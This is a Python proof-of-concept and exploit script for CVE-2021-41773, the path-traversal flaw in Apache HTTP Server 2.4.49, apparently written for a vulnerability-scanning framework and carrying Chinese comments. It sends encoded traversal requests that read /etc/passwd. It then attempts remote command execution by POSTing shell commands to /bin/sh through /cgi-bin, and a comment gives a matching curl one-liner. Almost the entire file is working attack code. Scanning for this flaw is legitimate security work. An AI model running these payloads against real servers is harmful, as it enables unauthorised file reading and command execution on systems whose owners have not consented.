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vb_2021_0044_CVE_2021_41773_poc_and_exploit.py
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vb_2021_0044_CVE_2021_41773_poc_and_exploit.py
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from datetime import date
from BasePoc import BasePoc # 导入BasePoc,是PoC脚本实现的类中必须继承的基类
from utils import error, tree, highlight, req # utils实现了一些常用函数,可以直接导入方便使用
from urllib.parse import urljoin
import requests
POC_NAME = "CVE_2021_41773_poc_and_exploit" # PoC脚本中实现的类名,TCC框架将根据POC_NAME去实例化类以达到调用的效果,因此类名应与该变量名保持相同
class CVE_2021_41773_poc_and_exploit(BasePoc):
poc_info = {
'poc': {
'Id': 'vb_2021_0044', # PoC的VID编号
'vbid': '',
'Name': 'CVE_2021_41773_poc_and_exploit', # PoC名称
'Author': 'lUc1f3r11', # PoC作者
'Create_date': '2021-10-22', # PoC创建时间
},
'vul': {
'Product': 'Apache HTTP Server 2.4.49', # 漏洞所在产品名称
'Version': '', # 产品的版本号
'Type': '路径穿越读取文件', # 漏洞类型
'Severity': 'high', # 漏洞危害等级low/medium/high/critical
'isWeb' : True, # 是否Web漏洞
'Description': '''
Apache HTTP Server 2.4.49 路径穿越读取文件
''', # 漏洞简要描述
'DisclosureDate': '2021-09-22', # PoC公布时间
}
}
# scan_info信息可以保持默认,相关参数如target/mode/verbose在TCC框架中都可以通过命令行参数设置
scan_info = {
'Target': '', # 目标网站域名
'Mode': 'verify', # verify或exploit
'Verbose': True, # 是否打印详细信息
'Error': '', # 检测失败时可用于记录相关信息
'Success': False, # 是否检出漏洞,若检出请更新该值为True
'risk_category': 'sec_vul',
'Ret': tree() # 可用于记录额外的一些信息
}
test_case = {
'Need_fb': False,
'Vuln': [], # 列表格式的测试URL
'Not_vuln': [], # 同上
}
def verify(self, first=False):
# 漏洞验证方法(mode=verify)
target = self.scan_info.get("Target", "") # 获取测试目标
verbose = self.scan_info.get("Verbose", False) # 是否打印详细信息
# 以下是PoC的检测逻辑
url = urljoin(target,"/icons/%2e%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd") # /icons/必须是一个存在且可访问的目录
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"cookie":"login=1",
}
#resp = req(url, 'get', headers=header, allow_redirects=False)
resp = req(url, 'get', headers=header, allow_redirects=False)
if resp.status_code == 200 and "root" in resp.text:
self.scan_info['Success'] = True # 漏洞存在,必须将该字段更新为True(必须)
self.scan_info['Ret']['VerifyInfo']['URL'] = url # 记录漏洞相关的一些额外信息(可选)
self.scan_info['Ret']['VerifyInfo']['DATA'] = resp.text
if verbose:
highlight("[+] url: " + url + " 存在Apache HTTP Server 2.4.49 路径穿越漏洞!!!")
else:
if verbose:
highlight("[+] url: " + url + " 不存在Apache HTTP Server 2.4.49 路径穿越漏洞!!!")
# curl --data "echo;id" 'http://your-ip:your-port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
# /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
# echo;cat /etc/passwd
print("[+] .........................................")
print("[+] continue exploiting CVE_2021_41773 RCE...")
print("[+] .........................................")
# 以下是PoC的检测逻辑
url1 = urljoin(target,"/cgi-bin/%2e%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh")
header1 = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"cookie":"login=1",
}
data = "echo;cat+/etc/passwd"
#resp = req(url, 'get', headers=header, allow_redirects=False)
req1 = requests.post(url=url1, data=data, headers=header1,verify=False, timeout=5)
if req1.status_code == 200 and "root" in req1.text:
self.scan_info['Success'] = True # 漏洞存在,必须将该字段更新为True(必须)
self.scan_info['Ret']['VerifyInfo']['URL'] = url1 # 记录漏洞相关的一些额外信息(可选)
self.scan_info['Ret']['VerifyInfo']['DATA'] = req1.text
if verbose:
highlight("[+] exploit CVE_2021_41773 RCE success!!!")
else:
if verbose:
highlight("[+] exploit CVE_2021_41773 RCE failed!!!")
def exploit(self, first=False):
# 漏洞利用方法(mode=verify)
self.verify(first=first)